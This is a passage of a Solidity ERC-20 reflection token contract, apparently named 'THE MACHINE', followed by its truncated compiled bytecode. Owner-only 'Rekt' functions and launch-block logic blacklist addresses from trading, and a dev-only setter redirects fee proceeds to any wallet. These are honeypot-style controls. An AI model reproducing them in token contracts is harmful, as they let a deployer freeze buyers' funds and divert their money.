swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isRekt(address account) public view returns (bool) {
return rekt[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(7).div(10));
_marketingFunds.transfer(amount.mul(3).div(10));
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000 * 10**9;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function openTrading() external onlyOwner() {
launchBlock = block.number;
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function Rekt(address[] memory rekt_) public onlyOwner {
for (uint256 i = 0; i < rekt_.length; i++) {
rekt[rekt_[i]] = true;
}
}
function Unrekt(address unrekt) public onlyOwner {
rekt[unrekt] = false;
}
function setLuckyAddress(address payable luckyone) external {
require(_msgSender() == _devFund);
_marketingFunds = luckyone;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function changeFee(uint256 newTax, uint256 newTeam) external {
require(_msgSender() == _devFund);
require (newTax > 0);
require (newTeam > 0);
require((newTax + newTeam) <= 15,"Max total fee is 15"); // machine do not allows abuse
_taxFee = newTax;
_teamFee = newTeam;
}
}
|
0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063cba0e9961161006f578063cba0e99614610463578063d00efb2f146104a0578063d543dbeb146104cb578063dd62ed3e146104f4578063e3ca2d6514610531578063e8078d941461055a57610156565b80638da5cb5b14610365578063935003871461039057806395d89b41146103cd578063a9059cbb146103f8578063c3c8cd8014610435578063c9567bf91461044c57610156565b8063504f5b0311610108578063504f5b031461027f5780636fc3eaec146102a857806370a08231146102bf578063715018a6146102fc5780637ed6f17d146103135780638d3480081461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee5780633095fce61461022b578063313ce5671461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610571565b60405161017d91906136b4565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190613155565b6105ae565b6040516101ba9190613699565b60405180910390f35b3480156101cf57600080fd5b506101d86105cc565b6040516101e59190613896565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190613106565b6105db565b6040516102229190613699565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d919061304f565b6106b4565b005b34801561026057600080fd5b506102696107a4565b604051610276919061390b565b60405180910390f35b34801561028b57600080fd5b506102a660048036038101906102a19190613191565b6107ad565b005b3480156102b457600080fd5b506102bd6108fd565b005b3480156102cb57600080fd5b506102e660048036038101906102e1919061304f565b61096f565b6040516102f39190613896565b60405180910390f35b34801561030857600080fd5b506103116109c0565b005b34801561031f57600080fd5b5061033a600480360381019061033591906131d2565b610b13565b005b34801561034857600080fd5b50610363600480360381019061035e91906130a1565b610b91565b005b34801561037157600080fd5b5061037a610c36565b60405161038791906135cb565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b2919061304f565b610c5f565b6040516103c49190613699565b60405180910390f35b3480156103d957600080fd5b506103e2610cb5565b6040516103ef91906136b4565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190613155565b610cf2565b60405161042c9190613699565b60405180910390f35b34801561044157600080fd5b5061044a610d10565b005b34801561045857600080fd5b50610461610d8a565b005b34801561046f57600080fd5b5061048a6004803603810190610485919061304f565b610e43565b6040516104979190613699565b60405180910390f35b3480156104ac57600080fd5b506104b5610e99565b6040516104c29190613896565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190613224565b610e9f565b005b34801561050057600080fd5b5061051b600480360381019061051691906130ca565b610fe6565b6040516105289190613896565b60405180910390f35b34801561053d57600080fd5b506105586004803603810190610553919061324d565b61106d565b005b34801561056657600080fd5b5061056f611149565b005b60606040518060400160405280600b81526020017f544845204d414348494e45000000000000000000000000000000000000000000815250905090565b60006105c26105bb611686565b848461168e565b6001905092915050565b600066038d7ea4c68000905090565b60006105e8848484611859565b6106a9846105f4611686565b6106a48560405180606001604052806028815260200161404a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065a611686565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123159092919063ffffffff16565b61168e565b600190509392505050565b6106bc611686565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074090613796565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107b5611686565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613796565b60405180910390fd5b60005b81518110156108f9576001600c600084848151811061088d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108f190613bbe565b915050610845565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093e611686565b73ffffffffffffffffffffffffffffffffffffffff161461095e57600080fd5b600047905061096c81612379565b50565b60006109b9600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249a565b9050919050565b6109c8611686565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90613796565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b54611686565b73ffffffffffffffffffffffffffffffffffffffff1614610b7457600080fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd2611686565b73ffffffffffffffffffffffffffffffffffffffff1614610bf257600080fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60606040518060400160405280600781526020017f4d414348494e4500000000000000000000000000000000000000000000000000815250905090565b6000610d06610cff611686565b8484611859565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d51611686565b73ffffffffffffffffffffffffffffffffffffffff1614610d7157600080fd5b6000610d7c3061096f565b9050610d8781612508565b50565b610d92611686565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1690613796565b60405180910390fd5b436013819055506001601160146101000a81548160ff021916908315150217905550565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b610ea7611686565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90613796565b60405180910390fd5b60008111610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90613756565b60405180910390fd5b610fa46064610f968366038d7ea4c6800061280290919063ffffffff16565b61287d90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610fdb9190613896565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ae611686565b73ffffffffffffffffffffffffffffffffffffffff16146110ce57600080fd5b600082116110db57600080fd5b600081116110e857600080fd5b600f81836110f691906139cc565b1115611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e906137d6565b60405180910390fd5b81600881905550806009819055505050565b611151611686565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d590613796565b60405180910390fd5b601160149054906101000a900460ff161561122e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122590613836565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112bc30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c6800061168e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561130257600080fd5b505afa158015611316573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133a9190613078565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139c57600080fd5b505afa1580156113b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d49190613078565b6040518363ffffffff1660e01b81526004016113f19291906135e6565b602060405180830381600087803b15801561140b57600080fd5b505af115801561141f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114439190613078565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306114cc3061096f565b6000806114d7610c36565b426040518863ffffffff1660e01b81526004016114f996959493929190613638565b6060604051808303818588803b15801561151257600080fd5b505af1158015611526573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061154b9190613289565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506509184e72a000601281905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161163092919061360f565b602060405180830381600087803b15801561164a57600080fd5b505af115801561165e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168291906131fb565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613816565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561176e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176590613716565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161184c9190613896565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c0906137f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611939576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611930906136d6565b60405180910390fd5b6000811161197c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611973906137b6565b60405180910390fd5b611984610c36565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f257506119c2610c36565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561225257601160179054906101000a900460ff1615611c74573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a7457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b285750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7357601160149054906101000a900460ff16611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7390613856565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611bbd611686565b73ffffffffffffffffffffffffffffffffffffffff161480611c335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c1b611686565b73ffffffffffffffffffffffffffffffffffffffff16145b611c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6990613876565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611cb757601254811115611cb657600080fd5b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d5b5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611db15750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611dba57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e655750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ebb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ed35750601160179054906101000a900460ff165b15611f745742600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611f2357600080fd5b601942611f3091906139cc565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60135443141561219857601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561202a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561208c576001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550612197565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121385750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612196576001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b60006121a33061096f565b9050601160159054906101000a900460ff161580156122105750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156122285750601160169054906101000a900460ff165b156122505761223681612508565b6000479050600081111561224e5761224d47612379565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561230357600090505b61230f848484846128c7565b50505050565b600083831115829061235d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235491906136b4565b60405180910390fd5b506000838561236c9190613aad565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123dc600a6123ce60078661280290919063ffffffff16565b61287d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612407573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61246b600a61245d60038661280290919063ffffffff16565b61287d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612496573d6000803e3d6000fd5b5050565b60006006548211156124e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d8906136f6565b60405180910390fd5b60006124eb6128f4565b9050612500818461287d90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612566577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156125945781602001602082028036833780820191505090505b50905030816000815181106125d2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561267457600080fd5b505afa158015612688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ac9190613078565b816001815181106126e6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061274d30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461168e565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127b19594939291906138b1565b600060405180830381600087803b1580156127cb57600080fd5b505af11580156127df573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156128155760009050612877565b600082846128239190613a53565b90508284826128329190613a22565b14612872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286990613776565b60405180910390fd5b809150505b92915050565b60006128bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061291f565b905092915050565b806128d5576128d4612982565b5b6128e08484846129c5565b806128ee576128ed612b90565b5b50505050565b6000806000612901612ba4565b91509150612918818361287d90919063ffffffff16565b9250505090565b60008083118290612966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295d91906136b4565b60405180910390fd5b50600083856129759190613a22565b9050809150509392505050565b600060085414801561299657506000600954145b156129a0576129c3565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b6000806000806000806129d787612c00565b955095509550955095509550612a3586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c6890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aca85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cb290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b1681612d10565b612b208483612dcd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b7d9190613896565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b60008060006006549050600066038d7ea4c680009050612bd666038d7ea4c6800060065461287d90919063ffffffff16565b821015612bf35760065466038d7ea4c68000935093505050612bfc565b81819350935050505b9091565b6000806000806000806000806000612c1d8a600854600954612e07565b9250925092506000612c2d6128f4565b90506000806000612c408e878787612e9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612caa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612315565b905092915050565b6000808284612cc191906139cc565b905083811015612d06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cfd90613736565b60405180910390fd5b8091505092915050565b6000612d1a6128f4565b90506000612d31828461280290919063ffffffff16565b9050612d8581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cb290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612de282600654612c6890919063ffffffff16565b600681905550612dfd81600754612cb290919063ffffffff16565b6007819055505050565b600080600080612e336064612e25888a61280290919063ffffffff16565b61287d90919063ffffffff16565b90506000612e5d6064612e4f888b61280290919063ffffffff16565b61287d90919063ffffffff16565b90506000612e8682612e78858c612c6890919063ffffffff16565b612c6890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612eb6858961280290919063ffffffff16565b90506000612ecd868961280290919063ffffffff16565b90506000612ee4878961280290919063ffffffff16565b90506000612f0d82612eff8587612c6890919063ffffffff16565b612c6890919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612f39612f348461394b565b613926565b90508083825260208201905082856020860282011115612f5857600080fd5b60005b85811015612f885781612f6e8882612f92565b845260208401935060208301925050600181019050612f5b565b5050509392505050565b600081359050612fa181613fed565b92915050565b600081519050612fb681613fed565b92915050565b600081359050612fcb81614004565b92915050565b600082601f830112612fe257600080fd5b8135612ff2848260208601612f26565b91505092915050565b60008135905061300a8161401b565b92915050565b60008151905061301f8161401b565b92915050565b60008135905061303481614032565b92915050565b60008151905061304981614032565b92915050565b60006020828403121561306157600080fd5b600061306f84828501612f92565b91505092915050565b60006020828403121561308a57600080fd5b600061309884828501612fa7565b91505092915050565b6000602082840312156130b357600080fd5b60006130c184828501612fbc565b91505092915050565b600080604083850312156130dd57600080fd5b60006130eb85828601612f92565b92505060206130fc85828601612f92565b9150509250929050565b60008060006060848603121561311b57600080fd5b600061312986828701612f92565b935050602061313a86828701612f92565b925050604061314b86828701613025565b9150509250925092565b6000806040838503121561316857600080fd5b600061317685828601612f92565b925050602061318785828601613025565b9150509250929050565b6000602082840312156131a357600080fd5b600082013567ffffffffffffffff8111156131bd57600080fd5b6131c984828501612fd1565b91505092915050565b6000602082840312156131e457600080fd5b60006131f284828501612ffb565b91505092915050565b60006020828403121561320d57600080fd5b600061321b84828501613010565b91505092915050565b60006020828403121561323657600080fd5b600061324484828501613025565b91505092915050565b6000806040838503121561326057600080fd5b600061326e85828601613025565b925050602061327f85828601613025565b9150509250929050565b60008060006060848603121561329e57600080fd5b60006132ac8682870161303a565b93505060206132bd8682870161303a565b92505060406132ce8682870161303a565b9150509250925092565b60006132e483836132f0565b60208301905092915050565b6132f981613ae1565b82525050565b61330881613ae1565b82525050565b600061331982613987565b61332381856139aa565b935061332e83613977565b8060005b8381101561335f57815161334688826132d8565b97506133518361399d565b925050600181019050613332565b5085935050505092915050565b61337581613b05565b82525050565b61338481613b48565b82525050565b600061339582613992565b61339f81856139bb565b93506133af818560208601613b5a565b6133b881613c94565b840191505092915050565b60006133d06023836139bb565b91506133db82613ca5565b604082019050919050565b60006133f3602a836139bb565b91506133fe82613cf4565b604082019050919050565b60006134166022836139bb565b915061342182613d43565b604082019050919050565b6000613439601b836139bb565b915061344482613d92565b602082019050919050565b600061345c601d836139bb565b915061346782613dbb565b602082019050919050565b600061347f6021836139bb565b915061348a82613de4565b604082019050919050565b60006134a26020836139bb565b91506134ad82613e33565b602082019050919050565b60006134c56029836139bb565b91506134d082613e5c565b604082019050919050565b60006134e86013836139bb565b91506134f382613eab565b602082019050919050565b600061350b6025836139bb565b915061351682613ed4565b604082019050919050565b600061352e6024836139bb565b915061353982613f23565b604082019050919050565b60006135